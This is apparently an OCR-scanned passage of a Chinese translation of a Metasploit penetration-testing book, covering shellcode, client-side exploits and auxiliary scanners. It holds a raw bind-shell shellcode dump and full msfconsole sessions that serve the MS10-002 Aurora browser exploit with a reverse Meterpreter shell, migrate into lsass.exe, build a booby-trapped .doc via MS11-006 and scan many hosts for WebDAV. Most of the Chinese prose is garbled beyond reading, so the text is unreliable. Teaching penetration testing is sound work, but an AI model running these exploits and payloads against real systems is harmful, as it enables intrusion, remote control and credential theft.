MIATIXEE R4 2 J5, Metasploit ¥ 235 tH %54 shellcode, 73wl ARR N2 “B—FrE” M
“H HTBL” [ shellcode. FATTH 0T —MrBLY shellcode, RN 2455 —Br B shellcode Ff
FTFF B3 4 B KIS, Metasploit 2B 3RAT VRS BT B shellcode RIXFNXANIERE b R
AT LUK 58— B B shellcode LMK NGB RBTIZFEM L AR SE P, REASE TENITEZ
0020 40 1) SC A4

MAEMRCLEH T — AN AR shellcode, #RJF AT LAEX ] shellcode HITTH N LR S HH-2
(B Im\x90\x90\x90\x90\x90) . KT HHI\x BFRZ )5, W FHiR:

909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090F
ce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cfodoicyezfo
52578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631fF31c0accicfodolc
738e075f4037d¥83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51Ffe058
5f5a8b12eb865d6833320000687773325F54684c772607FFd5b89001000029c454506829806b00Ffd5505050504
050405068ea0fdfe0ffd59731db5368020001bb89e66a10565768c2db3767fFd5535768b7e938ffffd553535768
74ec3be1ffds579768756e4d61ffd56a006a0456576802d9c85fffd58b366a406800100000566a006858a453e5F
£d593536a005653576802d9c85fffd501c329c685f675ecc3

T X R A R SR, B DN R0 250K 5 TURE I (7 w418 2 e 40 A Immunity 825 W] A
R, BERCEE T —MUE TR MGE shell RETHIR T . TR, TIHME 4
AIATIEIF, TERXHLLL iexplore.exe 3. & 44T FF Immunity #if4%, 5+ File % 1) Open
I, REHRE AT, RATLEEE O (BRABN) FEIREBILHES. A
b A HE PR OE &4, A/5HE SHIFT @ m K A& 1%k D 5K 300 4
B

RIS B shellcode B HIZIBINGER, RGE Immunity PHIE D rb ) BUAR A 0 i 92
Binary & 10 ' [#] Binary paste. XFESH_ERF 1 4w TR 4 #0152 Immunity FR & 1.
(FEEEOR, BATHEME AR RERE B TRASAICHRTIES R UAHRATR D

PRATLLEE B 8-1 FRE B Ll AR 23RS, WRETRBGEAE, BFFRE shellcode.

MIATE — I H H bind_tep ¥ 30H shellcode 1, ATLAF 3B —MrBIW L RIS & ecc3. 7
W7 EALX AL ece3 E5TR RS .

TR eccd 2f5, HF2RE W A. ERETHAZE, BFRPATRESXN R
ZERESEEPATIIA RS . XA M AEX BRI EER, EXRMARRETIFHANA
BFEHRE B RAMERT T, LREEPITHEHTRMEAN T RSB AFESF HR.
BANDAERFHBMZAHFEET R HRBEEETHA.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&iE Rt 45 &

81 HFEFHSARNTHESBITE

ik 8-2 Frar, LA c3 45 RMTRSHEIMEFLEE shell Fie/s —MELHR.

fE 3 HRAZ S, P2 HBREN . NERINTESFERITEEERET 4. BEIRETH
IMANEIRA MR L XN, K5k F7 8. ZREGLSHABIIT RICHMBL, PITZE
AR T —&KICHRE S . BATERIERITZE, T ITHAER&HEER. HEEFHAE
BAM, BOAIXR - FRRMEEBRIEES.

BEE, 4k F7T 85 TRZE, BFHITTENTRSBEITR . JRE—KIATEINF
Hf) shellcode #7421, 4TI — i @4T &4 IF A\ T2 netstat -an. DL7EN 2R AL R
W fE 443 3 L E, 335 B AR B B R Aer i AR ARRAT B

T F5 8, MRABRKESAVIEFEPITEEECHEZEMARMEENN S, RESE
Immunity ViR28 & O MA T AE BN SR, e, BT RS NERF CeddT T IR B
A, RINTERTLAE L netstat -an A5 £ 443 35 0 28T I 34+ HURRE

FE—NERFEN L, H telnet KEEHIR TN 443 3D, RERNEHEFIFHERE.
X R B BT B P A LEIE B Metasploit #58 —Hr Bt shellcode. 7E/RHJ Back Track BEFUHLH,
IZAT Metasploit, ARG E — M LEE RS, X2V Metasploit 78 B AR FHLAY 443 %0 EE
LI T —AE T B —Hr B shellcode FIMWras, w LAFEIX A4y M RI% % Bl shellcode, M
T AR E B 2 1
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

FoEW FEPRBEENE

K82 BTG BENIETRPHIEE —80

msf > use multi/handler

msf exploit(handler) > set payload windows/shell/bind tcp
payload => windows/shell/bind_tcp

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > set RHOST 192.168.33.130

RHOST => 192.168.33.130

msf exploit(handler) > exploit

[*] Starting the payload handler...

[*] Started bind handler

[*] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.33.129:60463 -> 192.168.33.130:443)

i EA SR E, RS E NIRRT shell! fFA—NMREFBIZRZ], FRATLL
ZRPAT AN R BB Meterpreter shell, SRJ/5H T &G (EER] — M EHER. Exlk
X2 5, ARAFLLOCHEARAT Immunity WA E 1, f#SER T, B HA L, ERMRBRLT
Immunity X%, BATRSERSS LR ERAE. WAE, BTG UL HA AT HEWE 5
BRI 425 Bl .
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;£i% ix #5 Fg

8.3 Xt IE X ST BIiRRIAHITIZEF A

PRIUFE CRSNEHEWE N BOR A TAEIRE, DAk ah A& iE A7 I A /7 2510, A
H I 54 shellcode. FA T BT — D RARXIME AR KBRS, FEXDRG
FEAME LRIV FENE P IS BREHAA S0, BIXE, RIDERHONRFEE
Yo =) R AR (IR 2A H4% 52 MS10-002). XM RS EHEFKEZELRE
Google fE WM —+ R AREART, MEZRZEH. REXNRAFEZER AL 2010 FY]
BN, (AREERERRIEATEEI T, BRELLIT TILRHR B M AR AR TR,

FaEE, BATEHSEREAN Metasploit Bt IIREERHRR, K5 RERIDEFH K
B FHEAGSIRVIZR#AE, FARMNEMHAZFTPEHCSMEMT X TR R
Z0H BRI SRR, BATR SO A R

msf > use windows/browser/ms10_002_aurora

msf exploit(msi0_002_aurora) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_002 aurora) > show options

Module options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 © yes The local host to listen on.

SRVPORT 8080 @ yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLVersion S5L3 no Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)

URIPATH © no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address

LPORT 4444 yes The local port

Exploit target:

Id Name

0 Automatic
msf exploit(ms10 002 aurora) > set SRVPORT 80
SRVPORT =» 80

msf exploit(ms10_002 aurcra) > set URIPATH / @
URIPATH =» /
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$8E EPmEBENE

msf exploit(ms10_002_aurora) > set LHOST 192.168.33.129
LHOST => 192.168.33.129

msf exploit(ms10 002 aurora) > set LPORT 443
LPORT => 443

msf exploit(ms10_002_aurora) > exploit -z

[*] Exploit running as background job.

msf exploit(ms10_002_aurora) >

[*] Started reverse handler on 192.168.33.129:443
[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.33.129:80/

[*] Server started.

msf exploit(ms10_002_aurora) >

B4, 2% SRVHOSTO A E /& 0.0.0.0: IXEBEE ¥ Web IRS-4 2 76 FTH HIM
#1 E. 2% SRVPORTORIIKIAE /L 8080, XA 2 HArf  HEERMN D, KAk H
RERYBE B, TR 18 80 3 LI RACEF 8080, FRAFIFETT LL¥F Web iR 452418 & b S #¥ SSL,
BRI T, RA1ERAS FAFRHER HTTP 1. 2% URIPATH® 2/ /75 B i 7] H i &
WA URL Hbohik, AL ER41/0.

BAORIRBIERZ S, °TLLA Windows XP EHINLSRY 9] http://< B idi 59 IP #ihl> 358
Wik HEWIER M. REBERELNEHEWIRE, FRFERZE, FHSE R RRENR
W7 EHLEAFE A Meterpreter shell, WTFFiR. ANKERES, HEHEd O2HiT, B x
HATEANSIAE R AL A TES, HREMP THRMAEELTHE shellcode. WRMRIEBIBEBHZ
ATHTIF Windows HIFS BB HTHE, KRB KI iexplore.exe M TER T HZ HENFF
W), A S BN E S EFRK.

msf exploit(ms10_002_aurora) >

[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.33.130
[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1161)

msf exploit(ms10 002 _aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

TE13 2] Meterpreter shell Z J&, #RESBE| —A/NAE. i H bR 7RG E] 52
IREERIRHRE X AR R ERE A ? X SEHRREZEL S BRENBEILENEE SE, BIE
AHE B AR T, e SRR Rt . EME, XNMREENMRBELE: 2
HEE— B @I, 5 FiZ4T6r4 run migrate, WIF R, XM E7E Meterpreter H (fI i 4%
¥4 BB shell BB 2] —NF LR AFZ RS, X ABEER — R a4 4 [sass.exe.
SR BAR A P KA T BB E B AR, I A KRR T T RS R AL shell 3.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&i&N)i{1E

meterpreter > run migrate

[*] Current server process: IEXPLORE.EXE (2120)
[*] Migrating to lsass.exe...

[*] Migrating into process ID 680

[*] New server process: lsass.exe (680)
meterpreter >

X BEURIRE - ANATFEEB K. 28R RE R LU i i A b ) 8 423k Uk XA
AT Ashit, B HIEE A s T R B AR . i show advanced iy 4 R] LLFIH
PRI T ) &R R, W BTN

msf exploit(ms10_002_aurora) » show advanced

Module advanced options:

Name : ContextInformationFile

Current Setting:

Description : The information file that contains context information
Name : DisablePayloadHandler

Current Setting: false
Description : Disable the handler code for the selected payload

Name : EnableContextEncoding

Current Setting: false

Description : Use transient context when encoding payloads
Name : WORKSPACE

Current Setting:

Description : Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse tcp):

Name : AutoloadStdapi

Current Setting: true

Description : Automatically load the Stdapi extension
Name : AutoRunScript

Current Setting:
Description : A script to run automatically on session creation.

Name : AutoSystemInfeo
Current Setting: true
Description : Automatically capture system information on initialization.

Name : InitialAutoRunScript

Current Setting:

Description : An ipitial script to run on session created (before AutoRunScript)
Name : ReverseConnectRetries

Current Setting: §

Description : The number of connection attempts to try before exiting the process
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$8E EFRBENE

Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module

msf exploit(ms10_002_aurora) >

3 o B X AR TR, BATY T LA BT AR AT R i B R R I G B AL AR R A R R . L,
BAVEE S A o R RE R A RS SRR R, AT LU B ZRIE R R
KB 5 R 10, W BT

msf exploit(ms10 002 aurora) > set ReverseConnectRetries 10

FERXAEGI, 4T B E AR RER RN A, RE Bk R hlERES 5 —
AFBEFET . FIH AutoRunScript BT, {57 LAFE Metasploit 1 & Meterpreter )72 ) figift #2 €Y
AL AFNET A, Eid-f FFRIZAT migrate @54, 7T LR Meterpreter [ 51117
— AFHRE, IR H BB R ZHE .

mst exploit(ms10_002_aurora) > set AutoRunScript migrate -f

AR LZ A BB IT BN S, REFEREAMHAE L. WUERXHERERERRN
Meterpreter 3 1 & 7 B HAR T K

BTN TWRARNEERGE, REERA TR AEITEZRA K, TrsH
EH . 12191 use priv Fl getsystem #7432 A7E H b5 BHL L ATIRBL.

Bl b, FLLEY —NEZREAFH, KRLIMT B CHE—IKEF imgiE st
VAERAE, BB EREREERARY, HROFREREHEREEKREF T REEN

8.4 MXHENREEERL

LN RITER AR 7 A SO 2R bug BT BT HAI AR 2 %R, i Adobe
PDF. IXEiBE B e P F Fr TE R GO R F R PP 4T TR RSO el A o T B SO T e
B TEME, REHEEHERXRGH P EXENITL, RICLIRE TR 4
e IS F U BT S R BRI s, T PR KB VR A A THE S 10 N4,

FE— RSB AR ERGE , RAT LS B) TR R T LURYE H AR BRSO, Xk
SCAFAT BARE— MK Word SCRS. —AN PDF SCfF. — MBI, SR AR 258 SO 2470,
XA FH, BONPAMZERESS A MS11-006, 27K Windows & 4R %
CreateSizedDIBSECTION H 777 1 — Mg & H I .

BATTAILATE Metasploit HERZIXT ms11-006 Hi2E R F . & LT MSF &3
RAMBBRGERER, RIFHA info A H NG, MTFHR. 7 TRKERS, B
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit % 1A $5 &

AR B8R SO RIRS SR doc SO

msf > use windows/fileformat/ms12_006_createsizeddibsection
msf exploit(msil 006 createsizeddibsection) > info

« « SNIP . . .

Available targets:

Id Name

0 Automatic

1 Windows 2000 SP0/S5P4 English
2 Windows XP SP3 English

3 Crash Target for Debugging

TR, WHEE B — LT LIS B YT B RGBT i HE, RATEF B0 ILA,
HRPFRIETRABARE, WTFPR:

Basic options:

Name Current Setting Required Description
FILENAME msf.doc yes The file name.
OUTPUTPATH /opt/metasploit3/msf3/data/exploits yes The location of the file.

BAVEHBRLUE—FRE NG EEER, BAEERHHK meterpreter shell,
mr.

msf exploit(msi1_006_createsizeddibsection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(ms11_006_createsizeddibsection) > set LHOST 172.16.32.128

LHOST =» 172.16.32.128

smsf exploit(ms11_006 createsizeddibsection) > set LPORT 443

LPORT => 443

msf exploit(ms11_006_createsizeddibsection) > expleit

[*] Creating ‘msf.doc’ file...®@
[*] Generated output file /opt/metasploit3/msf3/data/exploits/msf.doc@®
msf exploit(msi1_006_createsizeddibsection) »

8.5 XREWHHE

BANH 0 S R msfdoc®, Metasploit K H A E B 2/0pr® T . BLTE, BIIBEHT —
AR, WEEEMERES AP, FFRETRHARTHE. XNRITELE T 85 WA
AT T M Z2RAE. SBAVEEGFIT XN Z G, DAERRPERL -
KRBV, WA, XPERE] MRIERER S AR, Bk =500 ARk 3 B A EHL
KREBH R (—MNRBREFD.
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$8E EPmBENEH

msf exploit(ms11_ 006 createsizeddibsection) > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 172.16.32.128

LHOST => 172.16.32.128

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit{handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.32.128:443

[*] Starting the payload handler...

msf exploit(handler) >

BATE —/ Windows XP BRIV T FFiZ LAY, BEBE—14 shell (RPN ERSG R
Windows XP SP3) , &1 T:

msf exploit(handler) >

[*] Sending stage (749056 bytes) to 172.16.32.131

[*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.131:2718) at
Sun Apr 03 21:39:58 -0400 2011

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >

IEIAE ] Metasploit, FATRITHFIE T NS LRI L2 WA, HIET —ANER
B BRI R H AR . FIBUX AN BB BEE, mR LN HisH H A e it
#f, RAERBHEHE LE FaTEREE, WX MEESd R R Metasploit P& FLFEN
WEIAlFZ .

8.6 /I

AT S, BAVER 7 BGEE T BRAHE AR P g B B, AR T 18
PRI PR, RS MR k. RESES 14 TRE 15 TE—P¥ I/
KL . MS11-006 £ i tH 22U, RATRFERE G 30 hafk-— 2 i btk th B B
Ko HBHEBRE, HETXEBBEBERRDBFRRRTELGEG 81 THREDXT HirH
fi B

R —MEBAUAE, MR FRXFAAE— ARG RRIEBERHEMER. nEs
Paulih, mBARAEN LA R N ERIATIE, REXN — SR T B E B AR /N B 53]
LB, AR AVRERDVBIE BT REAERE R0 . 0 ) 028 Ji 0 S 2 2 098 58 e o
R-NMEFEARHSE, RHREETHHERERA BEFEFHERLEE, RINBLELI &
ANEE 10 FrpgkEE iR IX T A .
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit 3 BBk

KB4 AR Metasploit, B T B SBAHEIE AL HBERERIR. BERGRAE, 2
BEH AL RAVERERE RAEEE, FTAREITHT R T BB R b BRI
BB BB R AN, REFELHMKNRA. RIEE L, Metasploit 1 “RIBER
B WeRRVERUNBEER (auxiliary module), IXAMBUMINIE XARME T TREHBRER. ©

B TRt — S MR TR, WO, REIELEMA (fingerprinters) 55, HiB)
B APIEA AR ssh_login XFER TR, ERRBMEA AP L2 OLFR BN ML LI
SSH IREH#AT RN DOAFM. HHEH —BHi Fuzz WXTHR, W fip pre post.
http_get _uri_long. smtp_fuzzer. ssh_version_corrupt A, fR] LLx — ks i i) H AR RS BATIX
% Fuzz WiX8E, JHRE WTRESH —LRAMCK.

FBEEHAME B B R, BAREERREAENHLAKR. ERIITHFT AR
AEMhreHEZ &, SXEREEMNIKEEMTARA.

@ #Hik: RHAAH Metasploit v4.0 AT T Bk Esdsk, AT ELEBRMNAGREEH
=Pk EATH; RIATHBARRA R T AR CHEFRT R LS,
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

Metasploit ;&1E N X155

0 root@bt:/opt/framework3/msf3/modules/auxiliary# 1s -1
total 52
drwxr-xr-x 23 root root 4096 Apr 10 03:22 admin
drwxr-xr-x 4 root root 4096 Dec 14 03:25 client
drwxr-xr-x 16 root root 4096 Jan 1 04:19 dos
drwxr-xr-x B8 root root 4096 Dec 14 03:25 fuzzers

drwxr-xr-x 3 root root 4096 May 2 15:38 gather
drwxr-xr-x 4 root root 4096 Dec 14 03:25 pdf
drwxr-xr-x 36 root root 4096 Apr 10 03:22 scanner
drwxr-xr-x 5 root root 4096 May 2 15:38 server
drwxr-xr-x 3 root root 4096 May 2 15:38 sniffer
drwxr-xr-x 5 root root 4096 Dec 14 03:25 spoof
drwxT-xr-x 4 root root 4096 Dec 14 03:25 sgli
drwxr-xr-x 3 root root 4096 May 2 15:38 test
drwxr-xr-x 3 root root 4096 May 2 15:38 voip

fELHEAFIRPRSER, KRR EEA Metasploit Bi/modules/auxiliary H 0%, &
A2 FH B A SR ENREHET S XK. MEH TR ENHY, AEEHEE OB
A MOBERIEAT B, BT CLZEARRL R H R E SRR R EN]. 0T, WRREETT
K—> Fuzz {RBR, BRI ZBERTIE, WA UL fuzzer H R385 — L8] & B 14
hB%.

AJLATE MSF £ $ N\ show auxiliary 14 @ %1t ir 45 7] F Fosi B AR B . 2 SRR 4 MSF
i o BRI A R R P 2T HR, R RIS 2R KB TREH R4/
(¥, W FHR:

© nsf > show auxiliary

Auxiliary
Name Rank Description
admin/backupexec/dump normal Veritas Backup Exec Windows Remote
File Access
admin/backupexec/registry normal Veritas Backup Exec Server Registry
Access
admin/cisco/ios_http_auth_bypass normal Cisco I0S HTTP Unauthorized

Administrative Access
.+ « SNIP . ., .

fuzzers/ssh/ssh_version_corrupt normal SSH Version Corruption

fuzzers/tds/tds_login corrupt normal TDS Protocol Login Request Corruption
Fuzzer

fuzzers/tds/tds_login_username normal TDS Protocol Login Request Username
Fuzzer

fuzzers/wifi/fuzz_beacon normal Wireless Beacon Frame Fuzzer

fuzzers/wifi/fuzz_proberesp normal Wireless Probe Response Frame Fuzzer
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

HOE WMetasploit HEEHR

gather/citrix_published applicaticns normal Citrix MetaFrame ICA Published
Applications Scanner

gather/citrix_published bruteforce  normal Citrix MetaFrame ICA Published
Applications Bruteforcer

gather/dns_enum normal DNS Enumeration Module

gather/search_email collector normal Search Engine Domain Email Address
Collector

pdf/foxit/authbypass normal Foxit Reader Authorization Bypass

scanner/backdoor/energizer duo detect normal Energizer DUD Trojan Scanner

scanner/db2/db2_auth normal DB2 Authentication Brute Force Utility

scanner/db2/db2_version _ normal DB2 Probe Utility

M ETE BT SR R AT AR, R B BEHR R R R BT A 4, BT R4 B DNS &
AR . Wi-Fi Fuzz A8, BE - ANaTHXERMMAEM (Energize) USB Hijth 75 i1 32
ARG TR

£ Metasploit [ BMEIHURE AR BB R E L, RFER F I use firdIFER 48
B F. BHIRYL, £ webdav scanner #iER (FEF—/NT “fEFAMBMEE” B EHNH),
PRI F BT /5] use scanner/http/webdav_scanner #r4:

BR: AR, —EERKEKE L kA — L mit£ 5], 4 RHOST A4 i 2
AT &AL %A B 4724, THREAD £5 8 kA adsis A %,

® msf > use scanner/http/webdav_scanner
® msf auxiliary(webdav_scanner) > info

Name: HTTP WebDAV Scanner

Version: 9179

License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
et <et@metasploit.com»

Basic options:
Name Current Setting Required Description

Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
Description:

Detect webservers with WebDAV enabled

msf auxiliary(webdav_scanner) »
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Metasploit i&iE MR 15

X RERAE use G SBARNVENBIIBERO, RS54 info fir 4RO T HIER M4
HRO, XEGREPAETHENSEMEY . ESHFAIRDRITFINE — RHOST 33
© 4y LA H A BUME, AWTLLK RHOST #8204 IP Hubt. 1P Hubk5)3%. 1P Huhk By sk CIDR
Huhtr

HihHZHLEEMERMA RSN ERZR. 261K, THREAD (£7) 0251
VTP 2 88 SR, REGENLRESE, AIRARIE D ERIESHMERE.

9.1 {EAsHEMELR

RN AT LA E HARn R BB RS SR ER, TR — R OBER S R
AT, WRARLIERE D EE MBS, (R n] R 5 X A BRI IT B, M
177376 2 R AT S /3K

PR MR WS, RIEERHT - IRERBENR, MMERITHHE, BT R -
L Web REFAIIHITHTR. XEHRAIBEETAER A, MR BEMBAE & RIF T/, X%
scanner/htp PRIFHBIBURERTH, EINRSHEBMRKIIEFTAMRRE, HEHaEmFRE
BB . WFFTR, ATLL{EF] search scanner/http d4 AL FT A W] A9 HTTP $1442¢.

msf auxiliary(webdav_scanner) > search scanner/http
[*] Searching loaded modules for pattern 'scanner/http'...

Auxiliary
Name Rank  Description
scanner/http/backup file nommal HTTP Backup File Scanner
scanner/http/blind_sql query normal HTTP Blind SQL Injection GET QUERY Scanner
scanner/http/brute dirs normal HTTP Directory Brute Force Scanner
scanner/http/cert normal HTTP SSL Certificate Checker
scanner/http/copy of file normal HTTP Copy File Scanner
scanner/http/dir listing nommal HTTP Directory Listing Scanner
scanner/http/dir_scanner normal HTTP Directory Scanner

scanner/http/dir_webdav_unicode bypass normal MS09-020 1156 WebDAV Unicode Auth Bypass
Directory Scanner

scanner/http/enum_delicious normal Pull Del.icio.us Links (URLs) for a domain
scannex/http/enum wayback normal Pull Archive.org stored URLs for a domain
scanner/http/error_sql_injection normal HTTP Error Based SQL Injection Scanner
scanner/http/file_same_name_dir normal HTTP File Same Name Directory Scanner
scanner/http/files_dir nommal HTTP Interesting File Scanner
scanner/http/frontpage_login normal FrontPage Server Extensions Login Utility
scanner/http/http_login normal HTTP Login Utility
scannex/http/http_version noxmal HTTP Version Detection
scanner/http/lucky_punch normal HTTP Microsoft SQL Injection Table XSS
Infection

126

24 W WwW. 176K u.CoM
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i

%

$#9F Metasploit HEEMELR

scanner/http/ms09_020_webdav_unicode_bypass nommal MS09-020 IIS6 WebDAV Unicode Auth Bypass

scannexr/http/options nommal HTTP Options Detection
scanner/http/prev dir same name file normal HITP Previous Directory File Scanner
scanner/http/replace ext normal HTTP File Extension Scanner

0 scanner/http/robots_txt normal HTTP Robots.txt Content Scanner
scanner/http/soap_xml nommal HTTP SOAP Verb/Noun Brute Force Scanner
scanner/http/sqlmap normal SOQLMAP SOL Injection External Module
scanner/http/ssl nommal HTTP SSL Certificate Information
scanner/http/svn_scanner normal HTTP Subversion Scanner
scanner/http/tomcat_mgr_login normal Tomcat Application Manager Login Utility
scanner/http/trace_axd normal HTTP trace.axd Content Scanner
scanner/http/verb_auth bypass normal HTTP Verb Authentication Bypass Scanner
scanner/http/vhost_scanner normal HTTP Virtual Host Brute Force Scanner
scanner/http/vmware_server dir trav normal VMware Server Directory Transversal

Vulnerability

scanner/http/web_vulndb normal HTTP Vuln scanner

®  scanner/http/webdav_internal ip normal HTTP WebDAV Internal IP Scanner
scanner/http/webdav_scanner normal HTTP WebDAV Scanner
scanner/http/webdav_website content nommal HTTP WebDAV Website Content Scanner

2] scannex/http/writable nommal HTTP Writable Path PUT/DELETE File Access
scanner/http/xpath normal HTTP Blind XPATH 1.0 Injector

X BHR DB AT R BITERE, RERINMN TP — B ASRATERY. BNEE
Bl O BT LREATLER NN E AR 28 LI robots.oxe S0, 7E@KLFIH T LA 55
WebDAV IR HFIBR, HOMRET —MERAGAISHIEME RN TR, WATHERE
P -T2 S BT B A R

TRIR PR RMA VF 2 BPUE M T RANTG L5 BB, (BRI 1S A4 231K WebDAV I
RER — AT TR ERE, B R Lo HER8E T — Ik, SFRERs R -5 HH
T WebDAV iR %5 2% .

msf auxiliary(dir webdav_unicode bypass) > use scanner/http/webdav_scanner
msf auxiliary(webdav scanner) > show options

Module options:

Name Current Setting Required Description

Proxies no Use a proxy chain

RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

© msf auxiliary(webdav_scanner) > set RHOSTS 192.168.1.242, 192.168.13.242.252,
192,168.13.242.254, 192.168.4.116, 192.168.4.118, 192.168.4.122,
192.168.13.242.251, 192.168.13.242.234, 192.168.8.67, 192.68.8.113,
192.168.13.242.231, 192.168.13.242.249, 192.168.4.115, 192.168.8.66, 192.168.8.68,
192.168.6.62
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Metasploit &% RiL 45 &

RHOSTS => 192.168.1.242, 192.168.13.242.252, 192.168.13.242.254, 192.168.4.116,
192.168.4.118, 192.168.4.122, 192.168.13.242.251, 192.168.13.242.234, 192.168.8.67,
192.168.6.113, 192.168.13.242.231, 192.168.13.242.249, 192.168.4.115, 192.168.8.66,
192.168.8.68, 192.168.6.62

msf auxiliary(webdav_scanner) > run

[*] 192.168.1.242 (Microsoft-1IS/6.0) WebDAV disabled.
[*] 192.168.13.242.252 (Apache/2.2.9 (Debian) proxy html/3.0.0 mod_ssl1/2.2.9
OpenSSL/0.9.8g) WebDAV disabled.
[*] Scanned 04 of 31 hosts (012% complete)
[*] Scanned 07 of 31 hosts (022% complete)
[*] 192.168.4.116 (Apache/2.2.3 (Red Hat)) WebDAV disabled.
